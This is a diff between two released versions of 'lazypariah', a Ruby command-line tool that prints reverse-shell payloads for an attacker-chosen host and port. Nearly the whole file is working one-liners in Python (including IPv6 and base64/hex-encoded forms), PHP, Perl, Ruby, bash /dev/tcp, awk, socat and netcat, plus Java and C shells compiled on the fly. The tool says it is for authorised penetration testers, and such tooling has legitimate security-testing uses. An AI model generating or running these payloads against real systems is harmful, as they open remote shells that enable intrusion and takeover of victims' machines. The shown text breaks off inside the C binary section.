lazypariah 1.2.1 → 1.6.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +4 -4
- data/bin/lazypariah +235 -83
- metadata +2 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 0e2c6b1e497a8a6f2dc4ffd408a94528e7b72e221fb757faab10ae4f5139e849
|
4
|
+
data.tar.gz: a50c50b1387630ca64302780e448387fcc6c3424d29f01484bd9deea5ee23699
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 45ca04176c895ef5686b1287036c3ce8b9299a92b3b7e622165246b686847e7c6a25523e893b140d5a7d6a3ebd22af1865a2ba107d21bea2641b8fa68f56d4cd
|
7
|
+
data.tar.gz: 3b25a2dc14255ffed550d2e89dddcb759c98031d300a75a0f0425faf94c04fbf03b79b6c8f5c2820aa4860ae771e7ba4f7fe991233b65c959e9054848110084e
|
data/bin/lazypariah
CHANGED
@@ -1,13 +1,13 @@
|
|
1
1
|
#!/usr/bin/env ruby
|
2
2
|
#
|
3
3
|
# Title: LAZYPARIAH
|
4
|
-
# Version: 1.
|
4
|
+
# Version: 1.6.0
|
5
5
|
# Description:
|
6
6
|
# LAZYPARIAH is a simple tool for generating various reverse shell payloads
|
7
7
|
# on the fly. It is intended to be used only in authorised circumstances by
|
8
8
|
# qualified penetration testers, security researchers and red team professionals.
|
9
9
|
#
|
10
|
-
# Copyright (C) 2020-
|
10
|
+
# Copyright (C) 2020-2022 Peter Bruce Funnell
|
11
11
|
#
|
12
12
|
# This program is free software: you can redistribute it and/or modify it under the terms of the GNU
|
13
13
|
# General Public License as published by the Free Software Foundation, either version 3 of the License,
|
@@ -29,7 +29,7 @@ require "stringio"
|
|
29
29
|
|
30
30
|
# Define constants.
|
31
31
|
PROGRAM_NAME = "LAZYPARIAH".freeze()
|
32
|
-
PROGRAM_VERSION = "1.
|
32
|
+
PROGRAM_VERSION = "1.6.0".freeze()
|
33
33
|
EXECUTABLE_NAME = "lazypariah".freeze()
|
34
34
|
|
35
35
|
# Define payload list.
|
@@ -38,6 +38,10 @@ PAYLOAD_LIST = [
|
|
38
38
|
"python_c",
|
39
39
|
"python_b64",
|
40
40
|
"python_hex",
|
41
|
+
"python_ipv6",
|
42
|
+
"python_ipv6_c",
|
43
|
+
"python_ipv6_b64",
|
44
|
+
"python_ipv6_hex",
|
41
45
|
"nc",
|
42
46
|
"nc_pipe",
|
43
47
|
"php_fd",
|
@@ -45,6 +49,8 @@ PAYLOAD_LIST = [
|
|
45
49
|
"php_fd_tags",
|
46
50
|
"php_system_python_b64",
|
47
51
|
"php_system_python_hex",
|
52
|
+
"php_system_python_ipv6_b64",
|
53
|
+
"php_system_python_ipv6_hex",
|
48
54
|
"perl",
|
49
55
|
"perl_c",
|
50
56
|
"perl_b64",
|
@@ -56,21 +62,16 @@ PAYLOAD_LIST = [
|
|
56
62
|
"bash_tcp",
|
57
63
|
"awk",
|
58
64
|
"socat",
|
59
|
-
"
|
60
|
-
"java_class_b64",
|
61
|
-
"java_class_gzip_b64",
|
65
|
+
"java_class",
|
62
66
|
"c_binary",
|
63
|
-
"c_binary_b64",
|
64
|
-
"c_binary_hex",
|
65
|
-
"c_binary_gzip",
|
66
|
-
"c_binary_gzip_b64",
|
67
|
-
"c_binary_gzip_hex",
|
68
67
|
"rust_binary",
|
69
|
-
"
|
70
|
-
"
|
71
|
-
"
|
72
|
-
"
|
73
|
-
"
|
68
|
+
"nc_openbsd",
|
69
|
+
"powershell_c",
|
70
|
+
"powershell_b64",
|
71
|
+
"nodejs",
|
72
|
+
"nodejs_c",
|
73
|
+
"nodejs_b64",
|
74
|
+
"nodejs_hex"
|
74
75
|
].sort()
|
75
76
|
|
76
77
|
# Define dictionary of payload aliases for backwards compatibility with versions < 1.0.0.
|
@@ -92,13 +93,26 @@ PAYLOAD_BC_DICT = {
|
|
92
93
|
"python3_b64"=>{"payload"=>"python_b64", "pv"=>"3"},
|
93
94
|
"python2_b64"=>{"payload"=>"python_b64", "pv"=>"2"},
|
94
95
|
"python3_hex"=>{"payload"=>"python_hex", "pv"=>"3"},
|
95
|
-
"python2_hex"=>{"payload"=>"python_hex", "pv"=>"2"}
|
96
|
+
"python2_hex"=>{"payload"=>"python_hex", "pv"=>"2"},
|
97
|
+
"c_binary_b64"=>{"payload"=>"c_binary", "b64"=>true},
|
98
|
+
"c_binary_hex"=>{"payload"=>"c_binary", "hex"=>true},
|
99
|
+
"c_binary_gzip"=>{"payload"=>"c_binary", "gzip"=>true},
|
100
|
+
"c_binary_gzip_b64"=>{"payload"=>"c_binary", "gzip_b64"=>true},
|
101
|
+
"c_binary_gzip_hex"=>{"payload"=>"c_binary", "gzip_hex"=>true},
|
102
|
+
"rust_binary_b64"=>{"payload"=>"rust_binary", "b64"=>true},
|
103
|
+
"rust_binary_hex"=>{"payload"=>"rust_binary", "hex"=>true},
|
104
|
+
"rust_binary_gzip"=>{"payload"=>"rust_binary", "gzip"=>true},
|
105
|
+
"rust_binary_gzip_b64"=>{"payload"=>"rust_binary", "gzip_b64"=>true},
|
106
|
+
"rust_binary_gzip_hex"=>{"payload"=>"rust_binary", "gzip_hex"=>true},
|
107
|
+
"java_class_binary"=>{"payload"=>"java_class"},
|
108
|
+
"java_class_b64"=>{"payload"=>"java_class", "b64"=>true},
|
109
|
+
"java_class_gzip_b64"=>{"payload"=>"java_class", "gzip_b64"=>true}
|
96
110
|
}
|
97
111
|
|
98
112
|
# Define function for displaying program information.
|
99
113
|
def prog_info(donation_info=true)
|
100
114
|
puts("#{PROGRAM_NAME} #{PROGRAM_VERSION}")
|
101
|
-
puts("Copyright (C) 2020-
|
115
|
+
puts("Copyright (C) 2020-2022 Peter Bruce Funnell")
|
102
116
|
if donation_info
|
103
117
|
puts("\nBTC Donation Address (Author): 3EdoXV1w8H7y7M9ZdpjRC7GPnX4aouy18g")
|
104
118
|
end
|
@@ -108,8 +122,8 @@ end
|
|
108
122
|
option_parser = OptionParser.new do |options|
|
109
123
|
options.banner = "\nUsage:\t#{EXECUTABLE_NAME} [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>\n"
|
110
124
|
options.banner << "Note:\t<ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.\n\n"
|
111
|
-
options.banner << "Example:\tlazypariah -u
|
112
|
-
options.banner << "Example:\tlazypariah
|
125
|
+
options.banner << "Example:\tlazypariah -u python_b64 10.10.14.4 1555\n"
|
126
|
+
options.banner << "Example:\tlazypariah python_c malicious.local 1337\n\n"
|
113
127
|
options.banner << "Valid Payloads:\n"
|
114
128
|
PAYLOAD_LIST.each do |p|
|
115
129
|
options.banner << "#{" "*4}#{p}\n"
|
@@ -121,7 +135,12 @@ option_parser = OptionParser.new do |options|
|
|
121
135
|
options.on("-v", "--version", "Display version information and exit.")
|
122
136
|
options.on("-D INTEGER", "--fd INTEGER", "Specify the file descriptor used by the target for TCP. Required for certain payloads.")
|
123
137
|
options.on("-P INTEGER", "--pv INTEGER", "Specify Python version for payload. Must be either 2 or 3. By default, no version is specified.")
|
124
|
-
options.on("-N", "--no-new-line", "Do not append a new-line character to the end of the payload
|
138
|
+
options.on("-N", "--no-new-line", TrueClass, "Do not append a new-line character to the end of the payload.")
|
139
|
+
options.on("--b64", "Encode a c_binary, rust_binary or java_class payload in base-64.")
|
140
|
+
options.on("--hex", "Encode a c_binary, rust_binary or java_class payload in hexadecimal.")
|
141
|
+
options.on("--gzip", "Compress a c_binary, rust_binary or java_class payload using zlib.")
|
142
|
+
options.on("--gzip_b64", "Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in base-64.")
|
143
|
+
options.on("--gzip_hex", "Compress a c_binary, rust_binary or java_class payload using zlib and encode the result in hexadecimal.\n\n")
|
125
144
|
end
|
126
145
|
|
127
146
|
# Define port_check method for strings.
|
@@ -132,14 +151,14 @@ class String
|
|
132
151
|
end
|
133
152
|
|
134
153
|
# Define print_output.
|
135
|
-
def print_output(s, url_encode
|
154
|
+
def print_output(s: "", url_encode: false, new_line: true)
|
136
155
|
if url_encode
|
137
156
|
print(ERB::Util.url_encode(s))
|
138
157
|
else
|
139
158
|
print(s)
|
140
159
|
end
|
141
160
|
if new_line
|
142
|
-
puts()
|
161
|
+
puts("\n")
|
143
162
|
end
|
144
163
|
end
|
145
164
|
|
@@ -199,77 +218,149 @@ begin
|
|
199
218
|
exit()
|
200
219
|
end
|
201
220
|
|
221
|
+
# Parse encoding/compression command-line arguments for binary payloads.
|
222
|
+
b64_payload = arguments[:"b64"]
|
223
|
+
hex_payload = arguments[:"hex"]
|
224
|
+
gzip_payload = arguments[:"gzip"]
|
225
|
+
gzip_b64_payload = arguments[:"gzip_b64"]
|
226
|
+
gzip_hex_payload = arguments[:"gzip_hex"]
|
227
|
+
|
228
|
+
# Ensure that only one encoding/compression command-line argument can be used for binary payloads.
|
229
|
+
bin_cla_counter = 0
|
230
|
+
bin_cla_array = [b64_payload, hex_payload, gzip_payload, gzip_b64_payload, gzip_hex_payload]
|
231
|
+
bin_cla_array.each do |a|
|
232
|
+
bin_cla_counter += a ? 1 : 0
|
233
|
+
end
|
234
|
+
if bin_cla_counter > 1
|
235
|
+
puts("More than one encoding/compression-related command-line argument was entered. This error arises when e.g. --b64 and --gzip are both used together as separate command-line arguments. If you would like to use zlib to compress a binary payload such as c_binary or java_class and encode the result in base-64, use --gzip_b64. Only one encoding/compression-related command-line argument may be used.")
|
236
|
+
exit()
|
237
|
+
end
|
238
|
+
|
202
239
|
# Parse payload, applying aliases for backwards compatibility with versions < 1.0.0.
|
203
240
|
if PAYLOAD_BC_DICT.include?(ARGV[0])
|
204
241
|
bc_dict = PAYLOAD_BC_DICT[ARGV[0]]
|
205
242
|
selected_payload = bc_dict["payload"]
|
206
243
|
tcp_fd = bc_dict["fd"]
|
207
244
|
python_version = bc_dict["pv"]
|
245
|
+
b64_payload = bc_dict["b64"]
|
246
|
+
hex_payload = bc_dict["hex"]
|
247
|
+
gzip_payload = bc_dict["gzip"]
|
248
|
+
gzip_b64_payload = bc_dict["gzip_b64"]
|
249
|
+
gzip_hex_payload = bc_dict["gzip_hex"]
|
208
250
|
else
|
209
251
|
selected_payload = ARGV[0]
|
210
252
|
end
|
211
253
|
|
212
254
|
case selected_payload
|
213
255
|
when "python"
|
214
|
-
|
256
|
+
# Python reverse shell.
|
257
|
+
print_output(s: "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
258
|
+
when "python_ipv6"
|
259
|
+
# Python IPv6 reverse shell.
|
260
|
+
print_output(s: "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
215
261
|
when "python_c"
|
216
|
-
|
262
|
+
# Python reverse shell (intended to be run as a command from a shell session).
|
263
|
+
print_output(s: "python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
264
|
+
when "python_ipv6_c"
|
265
|
+
# Python IPv6 reverse shell (intended to be run as a command from a shell session).
|
266
|
+
print_output(s: "python#{python_version} -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
217
267
|
when "python_b64"
|
268
|
+
# Base-64-encoded Python reverse shell (intended to be run as a command from a shell session).
|
218
269
|
code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
|
219
|
-
print_output("echo #{code} | base64 -d | python#{python_version}", url_encode
|
270
|
+
print_output(s: "echo #{code} | base64 -d | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
271
|
+
when "python_ipv6_b64"
|
272
|
+
# Base-64-encoded Python IPv6 reverse shell (intended to be run as a command from a shell session).
|
273
|
+
code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
|
274
|
+
print_output(s: "echo #{code} | base64 -d | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
220
275
|
when "python_hex"
|
276
|
+
# Hex-encoded Python reverse shell (intended to be run as a command from a shell session).
|
221
277
|
code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
|
222
|
-
print_output("echo #{code} | xxd -p -r - | python#{python_version}", url_encode
|
278
|
+
print_output(s: "echo #{code} | xxd -p -r - | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
279
|
+
when "python_ipv6_hex"
|
280
|
+
# Hex-encoded Python IPv6 reverse shell (intended to be run as a command from a shell session).
|
281
|
+
code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
|
282
|
+
print_output(s: "echo #{code} | xxd -p -r - | python#{python_version}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
223
283
|
when "php_system_python_b64"
|
284
|
+
# Hybrid shell: python_b64 payload contained within a system function in a miniature PHP script.
|
224
285
|
python_code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
|
225
|
-
print_output("<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode
|
286
|
+
print_output(s: "<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
287
|
+
when "php_system_python_ipv6_b64"
|
288
|
+
# Hybrid shell: python_ipv6_b64 payload contained within a system function in a miniature PHP script.
|
289
|
+
python_code = Base64.strict_encode64("import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);")
|
290
|
+
print_output(s: "<?php system(\"echo #{python_code} | base64 -d | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
226
291
|
when "php_system_python_hex"
|
292
|
+
# Hybrid shell: python_hex payload contained within a system function in a miniature PHP script.
|
227
293
|
python_code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
|
228
|
-
print_output("<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode
|
294
|
+
print_output(s: "<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
295
|
+
when "php_system_python_ipv6_hex"
|
296
|
+
# Hybrid shell: python_ipv6_hex payload contained within a system function in a miniature PHP script.
|
297
|
+
python_code = "import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((\"#{ARGV[1]}\",#{ARGV[2]},0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);".unpack("H*")[0]
|
298
|
+
print_output(s: "<?php system(\"echo #{python_code} | xxd -p -r - | python#{python_version}\"); ?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
229
299
|
when "nc"
|
230
|
-
|
300
|
+
# Netcat reverse shell.
|
301
|
+
print_output(s: "nc -e /bin/sh #{ARGV[1]} #{ARGV[2]}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
231
302
|
when "nc_pipe"
|
232
|
-
|
303
|
+
# Alternative netcat reverse shell (using a pipe).
|
304
|
+
print_output(s: "/bin/sh | nc #{ARGV[1]} #{ARGV[2]}", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
233
305
|
when "php_fd", "php_fd_c", "php_fd_tags"
|
306
|
+
# PHP reverse shells targeting a particular file descriptor (FD).
|
234
307
|
if not tcp_fd
|
235
308
|
puts("The payload you have selected requires a file descriptor to be specified. Please specify the file descriptor used by the target for TCP via the command-line argument \"-D NUMBER\" or \"--fd NUMBER\".")
|
236
309
|
else
|
237
310
|
case selected_payload
|
238
311
|
when "php_fd"
|
239
|
-
|
312
|
+
# Basic PHP reverse shell (without PHP tags).
|
313
|
+
print_output(s: "$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
240
314
|
when "php_fd_c"
|
241
|
-
|
315
|
+
# Basic PHP reverse shell (intended to be run as a command from a shell session).
|
316
|
+
print_output(s: "php -r '$sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
242
317
|
when "php_fd_tags"
|
243
|
-
|
318
|
+
# Basic PHP reverse shell (with PHP tags).
|
319
|
+
print_output(s: "<?php $sock=fsockopen(\"#{ARGV[1]}\",#{ARGV[2]});exec(\"/bin/sh -i <&#{tcp_fd} >&#{tcp_fd} 2>&#{tcp_fd}\");?>", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
244
320
|
end
|
245
321
|
end
|
246
322
|
when "perl"
|
247
|
-
|
323
|
+
# Perl reverse shell.
|
324
|
+
print_output(s: "use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
248
325
|
when "perl_c"
|
249
|
-
|
326
|
+
# Perl reverse shell (intended to be run as a command from a shell session).
|
327
|
+
print_output(s: "perl -e 'use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
250
328
|
when "perl_b64"
|
329
|
+
# Base-64-encoded Perl reverse shell (intended to be run as a command from a shell session).
|
251
330
|
code = Base64.strict_encode64("use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};")
|
252
|
-
print_output("echo #{code} | base64 -d | perl", url_encode
|
331
|
+
print_output(s: "echo #{code} | base64 -d | perl", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
253
332
|
when "perl_hex"
|
333
|
+
# Hex-encoded Perl reverse shell (intended to be run as a command from a shell session).
|
254
334
|
code = "use Socket;$i=\"#{ARGV[1]}\";$p=#{ARGV[2]};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};".unpack("H*")[0]
|
255
|
-
print_output("echo #{code} | xxd -p -r - | perl", url_encode
|
335
|
+
print_output(s: "echo #{code} | xxd -p -r - | perl", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
256
336
|
when "ruby"
|
257
|
-
|
337
|
+
# Ruby reverse shell.
|
338
|
+
print_output(s: "require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
258
339
|
when "ruby_c"
|
259
|
-
|
340
|
+
# Ruby reverse shell (intended to be run as a command from a shell session).
|
341
|
+
print_output(s: "ruby -e 'require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
260
342
|
when "ruby_b64"
|
343
|
+
# Base-64-encoded Ruby reverse shell (intended to be run as a command from a shell session).
|
261
344
|
code = Base64.strict_encode64("require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end")
|
262
|
-
print_output("echo #{code} | base64 -d | ruby", url_encode
|
345
|
+
print_output(s: "echo #{code} | base64 -d | ruby", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
263
346
|
when "ruby_hex"
|
347
|
+
# Hex-encoded Ruby reverse shell (intended to be run as a command from a shell session).
|
264
348
|
code = "require \"socket\";exit if fork;c=TCPSocket.new(\"#{ARGV[1]}\",\"#{ARGV[2]}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end".unpack("H*")[0]
|
265
|
-
print_output("echo #{code} | xxd -p -r - | ruby", url_encode
|
349
|
+
print_output(s: "echo #{code} | xxd -p -r - | ruby", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
266
350
|
when "bash_tcp"
|
267
|
-
|
351
|
+
# Bash reverse shell.
|
352
|
+
print_output(s: "bash -i >& /dev/tcp/#{ARGV[1]}/#{ARGV[2]} 0>&1", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
268
353
|
when "awk"
|
269
|
-
|
354
|
+
# Awk reverse shell.
|
355
|
+
print_output(s: "awk 'BEGIN {s = \"/inet/tcp/0/#{ARGV[1]}/#{ARGV[2]}\"; while(42) {do {printf \"[Awk Reverse Shell] >> \" |& s; s |& getline c; if (c) {while ((c |& getline) > 0) print $0 |& s; close(c);}} while (c != \"exit\") close(s);}}' /dev/null", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
270
356
|
when "socat"
|
271
|
-
|
272
|
-
|
357
|
+
# Socat reverse shell.
|
358
|
+
print_output(s: "socat tcp-connect:#{ARGV[1]}:#{ARGV[2]} system:/bin/sh", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
359
|
+
when "nc_openbsd"
|
360
|
+
# Netcat (OpenBSD) reverse shell.
|
361
|
+
print_output(s: "rm /tmp/r; mkfifo /tmp/r; cat /tmp/r | /bin/sh -i 2>&1 | nc #{ARGV[1]} #{ARGV[2]} > /tmp/r", url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
362
|
+
when "java_class"
|
363
|
+
# Java class reverse shells (compiled on the fly).
|
273
364
|
code = "import java.io.IOException;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;public class rs {public rs() throws Exception {Process p=new ProcessBuilder(\"/bin/sh\").redirectErrorStream(true).start();Socket s=new Socket(\"#{ARGV[1]}\",#{ARGV[2]});InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()) {while(pi.available()>0) {so.write(pi.read());}while(pe.available()>0) {so.write(pe.read());}while(si.available()>0) {po.write(si.read());}so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;} catch (Exception e) {}}p.destroy();s.close();}}"
|
274
365
|
|
275
366
|
temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
|
@@ -279,13 +370,24 @@ begin
|
|
279
370
|
|
280
371
|
File.open(temp_dir+"/rs.class", "r") do |f|
|
281
372
|
java_payload = f.read()
|
282
|
-
|
283
|
-
when "java_class_binary"
|
284
|
-
print_output(java_payload, new_line=false)
|
285
|
-
when "java_class_b64"
|
373
|
+
if b64_payload
|
286
374
|
java_payload_b64 = Base64.strict_encode64(java_payload)
|
287
|
-
print_output(java_payload_b64, url_encode
|
288
|
-
|
375
|
+
print_output(s: java_payload_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
376
|
+
elsif hex_payload
|
377
|
+
# Hex-encoded java_class payload.
|
378
|
+
java_payload_hex = java_payload.unpack("H*")[0]
|
379
|
+
print_output(s: java_payload_hex, new_line: !arguments[:"no-new-line"])
|
380
|
+
elsif gzip_payload
|
381
|
+
# Zlib-compressed java_class payload.
|
382
|
+
sio = StringIO.new()
|
383
|
+
sio.binmode()
|
384
|
+
gz = Zlib::GzipWriter.new(sio)
|
385
|
+
gz.write(java_payload)
|
386
|
+
gz.close()
|
387
|
+
java_payload_gzip = sio.string
|
388
|
+
print_output(s: java_payload_gzip, new_line: false)
|
389
|
+
elsif gzip_b64_payload
|
390
|
+
# Zlib-compressed and base-64-encoded java_class payload.
|
289
391
|
sio = StringIO.new()
|
290
392
|
sio.binmode()
|
291
393
|
gz = Zlib::GzipWriter.new(sio)
|
@@ -293,12 +395,26 @@ begin
|
|
293
395
|
gz.close()
|
294
396
|
java_payload_gzip = sio.string
|
295
397
|
java_payload_gzip_b64 = Base64.strict_encode64(java_payload_gzip)
|
296
|
-
print_output(java_payload_gzip_b64, url_encode
|
398
|
+
print_output(s: java_payload_gzip_b64, url_encode: url_encode, new_line: !arguments[:"no-new-line"])
|
399
|
+
elsif gzip_hex_payload
|
400
|
+
# Zlib-compressed and hex-encoded java_class payload.
|
401
|
+
sio = StringIO.new()
|
402
|
+
sio.binmode()
|
403
|
+
gz = Zlib::GzipWriter.new(sio)
|
404
|
+
gz.write(java_payload)
|
405
|
+
gz.close()
|
406
|
+
java_payload_gzip = sio.string
|
407
|
+
java_payload_gzip_hex = java_payload_gzip.unpack("H*")[0]
|
408
|
+
print_output(s: java_payload_gzip_hex, new_line: !arguments[:"no-new-line"])
|
409
|
+
else
|
410
|
+
# Standard java_class payload.
|
411
|
+
print_output(s: java_payload, new_line: false)
|
297
412
|
end
|
298
413
|
end
|
299
414
|
|
300
415
|
system("rm -r #{temp_dir}")
|
301
|
-
when "c_binary"
|
416
|
+
when "c_binary"
|
417
|
+
# C binary reverse shells (compiled on the fly).
|
302
418
|
code = "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\nint main(void){int port = #{ARGV[2]};struct sockaddr_in revsockaddr;int sockt = socket(AF_INET, SOCK_STREAM, 0);revsockaddr.sin_family = AF_INET;revsockaddr.sin_port = htons(port);revsockaddr.sin_addr.s_addr = inet_addr(\"#{ARGV[1]}\");connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));dup2(sockt, 0);dup2(sockt, 1);dup2(sockt, 2);char * const argv[] = {\"/bin/sh\", NULL};execve(\"/bin/sh\", argv, NULL);\nreturn 0;}"
|
303
419
|
|
304
420
|
temp_dir = IO.popen("mktemp -dt lazypariah_XXXXXXXX").read().chomp()
|
@@ -308,24 +424,25 @@ begin
|
|
308
424
|
|
309
425
|
File.open(temp_dir+"/rs", "r") do |f|
|
310
426
|
binary_payload = f.read()
|
311
|
-
|
312
|
-
|
313
|
-
print_output(binary_payload, new_line=false)
|
314
|
-
